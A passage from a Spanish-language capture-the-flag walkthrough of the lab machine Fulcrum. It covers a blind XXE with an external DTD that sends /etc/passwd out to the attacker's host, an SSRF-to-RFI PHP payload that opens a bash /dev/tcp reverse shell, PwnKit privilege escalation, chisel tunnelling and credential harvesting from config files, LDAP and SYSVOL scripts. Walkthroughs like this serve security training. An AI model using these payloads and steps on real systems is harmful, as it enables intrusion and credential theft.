Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos varios puertos abiertos, y la mayoria parece corren un servicio web
❯ nmap 10.10.10.62
Nmap scan report for 10.10.10.62
PORT STATE SERVICE
4/tcp open unknown
22/tcp open ssh
80/tcp open http
88/tcp open kerberos-sec
9999/tcp open abyss
56423/tcp open unknown
Solo por comodidad agregaremos el dominio fulcrum.htb
para no apuntar a la ip
❯ echo "10.10.10.62 fulcrum.htb" | sudo tee -a /etc/hosts
Al abrir la pagina web del puerto 80
nos devuelve un error, lo interesante es si miramos el final de la pagina podemos ver Microsoft .NET Framework 2.0
El puerto 88
corre un phpMyAdmin
pero sin credenciales validas de poco nos sirve
En el puerto 9999
podemos ver exactamente lo mismo que al inicio en el puerto 80
El puerto 4
nos dice que esta bajo mantenimiento
y solo muestra un boton try again
Al darle a try again
nos redirige a ?page=home
, podriamos pensar en un LFI
sin embargo despues de probar bastante con este puerto no llegamos a nada
Si vamos al puerto 56423
podemos ver que nos devuelve un json
con una etiqueta Heartbeat
que como valor tiene una etiqueta Ping
que como valor tiene Pong
Podriamos intentar enviar la respuesta en json
como input y ver si cambia algo
{"Heartbeat":{"Ping":"Pong"}}
Si se refleja el valor Pong
podriamos intentar cambiarlo por Ping
, sin embargo al hacerlo no funciona y recibimos la misma respuesta
por parte del servidor
{"Heartbeat":{"Ping":"Ping"}}
Despues de probar diferentes cosas al cambiar el json
a una data en xml
y enviar Ping
como valor de la etiqueta Ping
esta vez si se representa en la respuesta
<Heartbeat><Ping>Ping</Ping></Heartbeat>
Shell - www-data
Sabemos que nos interpreta xml
, despues de probar varios XXE
no llegamos a nada reflejado en la respuesta, sin embargo podemos explotarlo blind
, para esto en el DOCTYPE
apuntaremos a una direccion con un dtd
que es nuestro servidor
<!DOCTYPE replace SYSTEM "http://10.10.14.10/pwned.dtd">
<data>&send;</data>
Al enviar esta data recibimos una petición en nuestro servidor al archivo pwned.dtd
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.62 - - code 404, message File not found
10.10.10.62 - - "GET /pwned.dtd HTTP/1.0" 404 -
Ahora crearemos el pwned.dtd
, para inciar definimos una entidad llamada file
la cual valdra el archivo /etc/passwd
en base64 ya que usaremos wrappers
de php, despues de ello definimos una entidad pwned
la cual se encargara de enviar el valor de file
como peticion a nuestro servidor mediante el parametro ?file=
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % pwned "<!ENTITY send SYSTEM 'http://10.10.14.10/?file=%file;'>">
%pwned;
Enviamos de nuevo la petición y al cargar el pwned.dtd
e interpretarlo nos envia el contenido del archivo /etc/passwd
como peticion GET
a nuestro servidor
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.62 - - "GET /pwned.dtd HTTP/1.0" 200 -
10.10.10.62 - - "GET /?file=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMDoxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMToxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4OjEwMjoxMDQ6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbiwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDY6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXNsb2c6eDoxMDQ6MTEwOjovaG9tZS9zeXNsb2c6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwNTo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnRzczp4OjEwNjoxMTE6VFBNIHNvZnR3YXJlIHN0YWNrLCwsOi92YXIvbGliL3RwbTovYmluL2ZhbHNlCnV1aWRkOng6MTA3OjExMjo6L3J1bi91dWlkZDovdXNyL3NiaW4vbm9sb2dpbgp0Y3BkdW1wOng6MTA4OjExMzo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCmxhbmRzY2FwZTp4OjEwOToxMTU6Oi92YXIvbGliL2xhbmRzY2FwZTovdXNyL3NiaW4vbm9sb2dpbgpwb2xsaW5hdGU6eDoxMTA6MTo6L3Zhci9jYWNoZS9wb2xsaW5hdGU6L2Jpbi9mYWxzZQpzc2hkOng6MTExOjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1jb3JlZHVtcDp4Ojk5OTo5OTk6c3lzdGVtZCBDb3JlIER1bXBlcjovOi91c3Ivc2Jpbi9ub2xvZ2luCmx4ZDp4Ojk5ODoxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCnVzYm11eDp4OjExMjo0Njp1c2JtdXggZGFlbW9uLCwsOi92YXIvbGliL3VzYm11eDovdXNyL3NiaW4vbm9sb2dpbgpkbnNtYXNxOng6MTEzOjY1NTM0OmRuc21hc3EsLCw6L3Zhci9saWIvbWlzYzovdXNyL3NiaW4vbm9sb2dpbgpsaWJ2aXJ0LXFlbXU6eDo2NDA1NToxMDg6TGlidmlydCBRZW11LCwsOi92YXIvbGliL2xpYnZpcnQ6L3Vzci9zYmluL25vbG9naW4KbGlidmlydC1kbnNtYXNxOng6MTE0OjEyMDpMaWJ2aXJ0IERuc21hc3EsLCw6L3Zhci9saWIvbGlidmlydC9kbnNtYXNxOi91c3Ivc2Jpbi9ub2xvZ2luCg== HTTP/1.0" 200 -
Al decodear la data en base64
podemos ver el archivo /etc/passwd
completo
❯ base64 -d data.b64
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:113:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
libvirt-qemu:x:64055:108:Libvirt Qemu,,,:/var/lib/libvirt:/usr/sbin/nologin
libvirt-dnsmasq:x:114:120:Libvirt Dnsmasq,,,:/var/lib/libvirt/dnsmasq:/usr/sbin/nologin
Podemos leer archivos, aunque no podemos cargar el config
de nginx podemos intentar adivinar el nombre del directorio donde esta la web que nos devuelve el json
, al probar con api
logramos cargar el index en /var/www/api/index.php
<?php
header('Content-Type:application/json;charset=utf-8');
header('Server: Fulcrum-API Beta');
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile,LIBXML_NOENT|LIBXML_DTDLOAD);
$input = simplexml_import_dom($dom);
$output = $input->Ping;
//check if ok
if($output == "Ping")
{
$data = array('Heartbeat' => array('Ping' => "Ping"));
}else{
$data = array('Heartbeat' => array('Ping' => "Pong"));
}
echo json_encode($data);
?>
Tambien podemos cargar el index del puerto 4
que se encuentra en /var/www/uploads/index.php
, ahora podemos ver la razon por la que el LFI
no funcionaba y es que si la direccion es diferente a 127.0.0.1
no usa include
<?php
if($_SERVER['REMOTE_ADDR'] != "127.0.0.1")
{
echo "<h1>Under Maintance</h1><p>Please <a href=\"http://" . $_SERVER['SERVER_ADDR'] . ":4/index.php?page=home\">try again</a> later.</p>";
}else{
$inc = $_REQUEST["page"];
include($inc.".php");
}
?>
Sin embargo podemos conseguir un SSRF
ya que si desde el XXE
apuntamos al puerto 4
el filtro para que la ip sea 127.0.0.1
hara un include de lo que le pasemos, probemos aplicar un RFI
apuntando a un archivo pwned
de nuestro servidor
<!DOCTYPE replace SYSTEM "http://127.0.0.1:4/?page=http://10.10.14.10/pwned">
Al enviar el XML
y cargando RFI
que apunta en nuestro servidor a un archivo pwned
recibimos una peticion al archivo pwned.php
ya que adjunta la string .php
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.62 - - code 404, message File not found
10.10.10.62 - - "GET /pwned.php HTTP/1.0" 404 -
Creamos el archivo pwned.php
el cual mediante system
enviara un simple ping
a nuestro host, al enviar recibimos la petición a pwned.php
y nos llega el ping
<?php
system("ping -c1 10.10.14.10");
?>
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.62 - - "GET /pwned.php HTTP/1.0" 200 -
❯ sudo tcpdump -i tun0 -n icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
IP 10.10.14.10 > 10.10.10.62: ICMP echo request, id 53825, seq 1, length 64
IP 10.10.10.62 > 10.10.10.62: ICMP echo reply, id 53825, seq 1, length 64
IP 10.10.10.62 > 10.10.10.62: ICMP echo request, id 1, seq 1, length 64
IP 10.10.14.10 > 10.10.10.62: ICMP echo reply, id 1, seq 1, length 64
Ejecutamos comandos, basta con cambiar el ping por una revshell
y es asi como mediante el SSRF
que conseguimos a traves del XXE
conseguimos cargar un archivo php aprovechando un RFI
y conseguimos una shell como www-data
<?php
system("bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'");
?>
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.62
www-data@fulcrum:~/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@fulcrum:~/uploads$ hostname -I
10.10.10.62 192.168.122.1
www-data@fulcrum:~/uploads$
Shell - root
Aunque es innecesario y ni siquiera es una via intencionada al listar binarios con privilegios suid
nos encontramos con el ya bastante famoso pkexec
www-data@fulcrum:~$ find / -perm -u+s 2>/dev/null | grep -v snap
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
/usr/bin/mount
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/at
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/su
www-data@fulcrum:~$ ls -l /usr/bin/pkexec
-rwsr-xr-x 1 root root 31032 May 26 2021 /usr/bin/pkexec
www-data@fulcrum:~$
Podemos usar un exploit para explotar el famoso pwnkit
y nos convertimos en root
www-data@fulcrum:/tmp$ python3 CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# bash
root@fulcrum:~# id
uid=0(root) gid=0(root) groups=0(root)
root@fulcrum:~# hostname -I
10.10.10.62 192.168.122.1
root@fulcrum:~# ls
msrs.sh snap
root@fulcrum:~#
Shell - webuser
Tenemos otra interfaz y es la 192.168.122.1
subiendo un binario estatico de nmap
podemos escanear los hosts
activos en este segmento de red, y aparece otro
www-data@fulcrum:/tmp$ ./nmap -sn 192.168.122.0/24 -oG -
Host: 192.168.122.1 () Status: Up
Host: 192.168.122.228 () Status: Up
www-data@fulcrum:/tmp$
El host 192.168.122.228
esta activo, al hacerle un ping nos responde con un ttl de 128
basandonos en ello es bastante probable que sea una maquina windows
www-data@fulcrum:/tmp$ ping -c1 -w1 192.168.122.228
PING 192.168.122.228 (192.168.122.228) 56(84) bytes of data.
64 bytes from 192.168.122.228: icmp_seq=1 ttl=128 time=0.535 ms
--- 192.168.122.228 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.535/0.535/0.535/0.000 ms
www-data@fulcrum:/tmp$
Si escaneamos los puertos
de este host aparecen 2, el 80
que puede que sea un servicio web y el 5985
que muy probablemente sea el servicio de winrm
www-data@fulcrum:/tmp$ ./nmap -Pn -n 192.168.122.228
Nmap scan report for 192.168.122.228
PORT STATE SERVICE
80/tcp open http
5985/tcp open unknown
www-data@fulcrum:/tmp$
Usando chisel
crearemos un proxy socks en el puerto 1080
para asi tener conexion
www-data@fulcrum:/tmp$ ./chisel client 10.10.14.10:9999 R:socks &
[1] 3755
www-data@fulcrum:/tmp$
❯ chisel server --reverse --port 9999
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:9999
server: session#2: tun: proxy#R:127.0.0.1:1080=>socks: Listening
Si abrimos la pagina web del puerto 80
pasando por el proxy lo unico que encontramos es la pagina de .NET
que veiamos en el puerto 80
y 9999
Volviendo al directorio /var/www/uploads
donde recibimos la shell podemos encontrarnos con un script en powershell
el cual define la credencial
de webuser
www-data@fulcrum:~/uploads$ ls
Fulcrum_Upload_to_Corp.ps1 home.php index.php upload.php
www-data@fulcrum:~/uploads$ cat Fulcrum_Upload_to_Corp.ps1
# TODO: Forward the PowerShell remoting port to the external interface
# Password is now encrypted \o/
$1 = 'WebUser'
$2 = '77,52,110,103,63,109,63,110,116,80,97,53,53,77,52,110,103,63,109,63,110,116,80,97,53,53,48,48,48,48,48,48' -split ','
$3 = '76492d1116743f0423413b16050a5345MgB8AEQAVABpAHoAWgBvAFUALwBXAHEAcABKAFoAQQBNAGEARgArAGYAVgBGAGcAPQA9AHwAOQAwADgANwAxADIAZgA1ADgANwBiADIAYQBjADgAZQAzAGYAOQBkADgANQAzADcAMQA3AGYAOQBhADMAZQAxAGQAYwA2AGIANQA3ADUAYQA1ADUAMwA2ADgAMgBmADUAZgA3AGQAMwA4AGQAOAA2ADIAMgAzAGIAYgAxADMANAA='
$4 = $3 | ConvertTo-SecureString -key $2
$5 = New-Object System.Management.Automation.PSCredential ($1, $4)
Invoke-Command -Computer upload.fulcrum.local -Credential $5 -File Data.ps1
www-data@fulcrum:~/uploads$
Podemos abrir una pwsh
s y ejecutar hasta donde define la variable $5
que contiene la credencial, simplemente usando .GetNetworkCredential()
podemos leer los campos UserName
y Password
de la credencial del usuario WebUser
❯ pwsh
PowerShell 7.2.6
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/kali> $1 = 'WebUser'
PS /home/kali> $2 = '77,52,110,103,63,109,63,110,116,80,97,53,53,77,52,110,103,63,109,63,110,116,80,97,53,53,48,48,48,48,48,48' -split ','
PS /home/kali> $3 = '76492d1116743f0423413b16050a5345MgB8AEQAVABpAHoAWgBvAFUALwBXAHEAcABKAFoAQQBNAGEARgArAGYAVgBGAGcAPQA9AHwAOQAwADgANwAxADIAZgA1ADgANwBiADIAYQBjADgAZQAzAGYAOQBkADgANQAzADcAMQA3AGYAOQBhADMAZQAxAGQAYwA2AGIANQA3ADUAYQA1ADUAMwA2ADgAMgBmADUAZgA3AGQAMwA4AGQAOAA2ADIAMgAzAGIAYgAxADMANAA='
PS /home/kali> $4 = $3 | ConvertTo-SecureString -key $2
PS /home/kali> $5 = New-Object System.Management.Automation.PSCredential ($1, $4)
PS /home/kali> $5.GetNetworkCredential() | Select UserName,Password
UserName Password
-------- --------
WebUser M4ng£m£ntPa55
PS /home/kali>
A traves del proxy
tenemos conexion con el puerto 5985
asi que con evil-winrm
podemos autenticarnos como WebUser
y obtener una powershell
en la maquina
❯ proxychains -q evil-winrm -i 192.168.122.228 -u WebUser -p M4ng£m£ntPa55
PS C:\Users\WebUser\Documents> whoami
webserver\webuser
PS C:\Users\WebUser\Documents>
Shell - btables
Sabemos que corre una pagina web
, en el directorio donde esta se aloja podemos ver un archivo web.config
que contiene las credenciales del usuario ldap
PS C:\inetpub\wwwroot> dir
Directory: C:\inetpub\wwwroot
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/8/2022 2:46 AM 703 iisstart.htm
-a---- 5/8/2022 2:46 AM 99710 iisstart.png
-a---- 2/12/2022 11:42 PM 5252 index.htm
-a---- 2/12/2022 11:42 PM 1280 web.config
PS C:\inetpub\wwwroot> type web.config
<?xml version="1.0" encoding="UTF-8"?>
<configuration xmlns="http://schemas.microsoft.com/.NetConfiguration/v2.0">
<appSettings />
<connectionStrings>
<add connectionString="LDAP://dc.fulcrum.local/OU=People,DC=fulcrum,DC=local" name="ADServices" />
</connectionStrings>
<system.web>
<membership defaultProvider="ADProvider">
<providers>
<add name="ADProvider" type="System.Web.Security.ActiveDirectoryMembershipProvider, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" connectionStringName="ADConnString" connectionUsername="FULCRUM\LDAP" connectionPassword="PasswordForSearching123!" attributeMapUsername="SAMAccountName" />
</providers>
</membership>
</system.web>
<system.webServer>
<httpProtocol>
<customHeaders>
<clear />
</customHeaders>
</httpProtocol>
<defaultDocument>
<files>
<clear />
<add value="Default.asp" />
<add value="Default.htm" />
<add value="index.htm" />
<add value="index.html" />
<add value="iisstart.htm" />
</files>
</defaultDocument>
</system.webServer>
</configuration>
PS C:\inetpub\wwwroot>
Vamos a enumerar un poco el dominio a traves de ldap
pero para facilitar la enumeracion subimos el modulo PowerView.ps1 y lo importamos en powershell
PS C:\ProgramData> upload PowerView.ps1
Info: Uploading PowerView.ps1 to C:\ProgramData\PowerView.ps1
Data: 1027036 bytes of 1027036 bytes copied
Info: Upload successful!
PS C:\ProgramData> Import-Module .\PowerView.ps1
PS C:\ProgramData>
Iniciamos definiendo la credencial de ldap
en un formato que le guste a powershell
PS C:\ProgramData> $SecPassword = ConvertTo-SecureString 'PasswordForSearching123!' -AsPlainText -Force
PS C:\ProgramData> $Cred = New-Object System.Management.Automation.PSCredential('fulcrum.local\ldap', $SecPassword)
PS C:\ProgramData>
Al enumerar a los usuarios
del dominio encontramos algo interesante, y es que el usuario BTables
en el campo Info
tiene lo que parece ser una contraseña
PS C:\ProgramData> Get-DomainUser -Credential $Cred -DomainController dc.fulcrum.local | Select Name,Info
name Info
---- ----
Administrator
Guest
krbtgt
ldap
923a
BTables Password set to ++FileServerLogon12345++
PS C:\ProgramData>
Listando los equipos
que pertenecen al dominio solo encontramos 2 existentes, FILE
que es un equipo aparte y el otro es el propio DC
o controlador de dominio
PS C:\ProgramData> Get-DomainComputer -Credential $Cred -DomainController dc.fulcrum.local | Select DNSHostname
dnshostname
-----------
DC.fulcrum.local
FILE.fulcrum.local
PS C:\ProgramData>
Tenemos la contraseña del usuario BTables
, definimos su credencial y a través de Invoke-Command
podemos ejecutar comandos en FILE
como y leer la flag
PS C:\ProgramData> $SecPassword = ConvertTo-SecureString '++FileServerLogon12345++' -AsPlainText -Force
PS C:\ProgramData> $Cred = New-Object System.Management.Automation.PSCredential('fulcrum.local\BTables', $SecPassword)
PS C:\ProgramData> Invoke-Command -ComputerName file.fulcrum.local -Credential $Cred -Command { whoami }
fulcrum\btables
PS C:\ProgramData> Invoke-Command -ComputerName file.fulcrum.local -Credential $Cred -Command { type ..\Desktop\user.txt }
fce**************************af4
PS C:\ProgramData>
Sin embargo es un poco incomodo asi que con chisel
crearemos un nuevo proxy
para tener conexion ahora hacia todos los equipos
que pertenecen al dominio
PS C:\ProgramData> upload chisel.exe
Info: Uploading chisel.exe to C:\ProgramData\chisel.exe
Data: 11569152 bytes of 11569152 bytes copied
Info: Upload successful!
PS C:\ProgramData> .\chisel client 10.10.14.10:8888 R:socks
PS C:\ProgramData>
❯ chisel server --reverse --port 8888
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:8888
server: session#2: tun: proxy#R:127.0.0.1:1080=>socks: Listening
Finalmente a través de proxychains
como el usuaro BTables
nos podemos conectar al servicio winrm
corriendo en el equipo FILE
y obtener una powershell
❯ proxychains -q evil-winrm -i file.fulcrum.local -u BTables -p ++FileServerLogon12345++
PS C:\Users\BTables\Documents> whoami
fulcrum\btables
PS C:\Users\BTables\Documents> type ..\Desktop\user.txt
fce**************************af4
PS C:\Users\BTables\Documents>
Shell - 923a
Usando crackmapexec
con las credenciales de BTables
hacia el DC
podemos listar los recursos SMB compartidos, vemos privilegios lectura o READ
en 3 de ellos
❯ proxychains -q crackmapexec smb dc.fulcrum.local -u BTables -p ++FileServerLogon12345++ --shares
SMB dc.fulcrum.local 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:fulcrum.local) (signing:True) (SMBv1:False)
SMB dc.fulcrum.local 445 DC [+] fulcrum.local\BTables:++FileServerLogon12345++
SMB dc.fulcrum.local 445 DC [+] Enumerated shares
SMB dc.fulcrum.local 445 DC Share Permissions Remark
SMB dc.fulcrum.local 445 DC ----- ----------- ------
SMB dc.fulcrum.local 445 DC ADMIN$ Remote Admin
SMB dc.fulcrum.local 445 DC C$ Default share
SMB dc.fulcrum.local 445 DC IPC$ READ Remote IPC
SMB dc.fulcrum.local 445 DC NETLOGON READ Logon server share
SMB dc.fulcrum.local 445 DC SYSVOL READ Logon server share
Aunque esto tambien podemos hacerlo desde la powershell de BTables usando net
PS C:\Users\BTables\Documents> net use \\dc.fulcrum.local /user:fulcrum.local\BTables ++FileServerLogon12345++
The command completed successfully.
PS C:\Users\BTables\Documents> net view \\dc.fulcrum.local /all
Shared resources at \\dc.fulcrum.local
Share name Type Used as Comment
-------------------------------------------------------------------------------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC (UNC) Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
The command completed successfully.
PS C:\Users\BTables\Documents>
Navegando un poco por los directorios del recurso compartido SYSVOL
llegamos a un directorio el cual contiene varios archivos que son scripts ps1
de powershell
PS C:\Users\BTables\Documents> dir \\dc.fulcrum.local\SYSVOL
Directory: \\dc.fulcrum.local\SYSVOL
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----l 5/7/2022 11:52 PM fulcrum.local
PS C:\Users\BTables\Documents> dir \\dc.fulcrum.local\SYSVOL\fulcrum.local
Directory: \\dc.fulcrum.local\SYSVOL\fulcrum.local
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/7/2022 11:52 PM Policies
d----- 5/7/2022 11:52 PM scripts
PS C:\Users\BTables\Documents> dir \\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts
Directory: \\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/12/2022 10:34 PM 340 00034421-648d-4835-9b23-c0d315d71ba3.ps1
-a---- 2/12/2022 10:34 PM 340 0003ed3b-31a9-4d8f-a152-a234ecb522d4.ps1
-a---- 2/12/2022 10:34 PM 340 0010183b-2f84-4d4a-9490-b5ae922e3ba1.ps1
.........................................................................................
-a---- 2/12/2022 11:06 PM 340 f5b83c5e-82a9-4316-ba06-3e3d12bfa671.ps1
-a---- 2/12/2022 11:06 PM 340 f858d01c-7f92-42e0-b165-cb214d839e26.ps1
-a---- 2/12/2022 11:06 PM 340 f9892933-e24b-4211-8a77-d41a2940acd4.ps1
PS C:\Users\BTables\Documents>
Cada uno de estos scripts contiene credenciales
de diferentes usuarios del dominio
PS C:\Users\BTables\Documents> type \\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts\00034421-648d-4835-9b23-c0d315d71ba3.ps1
# Map network drive v1.0
$User = 'be36'
$Pass = '@fulcrum_43bd6d26c168_$' | ConvertTo-SecureString -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential ($User, $Pass)
New-PSDrive -Name '\\file.fulcrum.local\global\' -PSProvider FileSystem -Root '\\file.fulcrum.local\global\' -Persist -Credential $Cred
PS C:\Users\BTables\Documents>
Al buscar una string que contenga el usuario Administrator
esperando poder ver su contraseña en texto plano no encontramos ninguna coindidencia en los scripts
PS C:\Users\BTables\Documents> Select-String 'Administrator' \\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts\*
PS C:\Users\BTables\Documents>
Sin embargo existen mas usuarios por ejemplo 923a
que es parte de Domain Admins
PS C:\Users\BTables\Documents> net user 923a /domain | Select-String Group
Local Group Memberships
Global Group memberships *Domain Admins *Domain Users
PS C:\Users\BTables\Documents>
Si buscamos por el usuario la string 923a
encontramos un archivo donde esta su usuario, este tambien contiene una contraseña
que probablemente sea la suya
PS C:\Users\BTables\Documents> Select-String '923a' \\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts\*
\\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts\3807dacb-db2a-4627-b2a3-123d048590e7.ps1:3:$Pass = '@fulcrum_df0923a7ca40_$' | ConvertTo-SecureString -AsPlainText -Force
\\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts\a1a41e90-147b-44c9-97d7-c9abb5ec0e2a.ps1:2:$User = '923a'
PS C:\Users\BTables\Documents> type \\dc.fulcrum.local\SYSVOL\fulcrum.local\Scripts\a1a41e90-147b-44c9-97d7-c9abb5ec0e2a.ps1
# Map network drive v1.0
$User = '923a'
$Pass = '@fulcrum_bf392748ef4e_$' | ConvertTo-SecureString -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential ($User, $Pass)
New-PSDrive -Name '\\file.fulcrum.local\global\' -PSProvider FileSystem -Root '\\file.fulcrum.local\global\' -Persist -Credential $Cred
PS C:\Users\BTables\Documents>
Comprobamos las credenciales de 923a
con crackmapexec y nos devuelve Pwn3d!
❯ proxychains -q crackmapexec smb dc.fulcrum.local -u 923a -p @fulcrum_bf392748ef4e_$
SMB dc.fulcrum.local 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:fulcrum.local) (signing:True) (SMBv1:False)
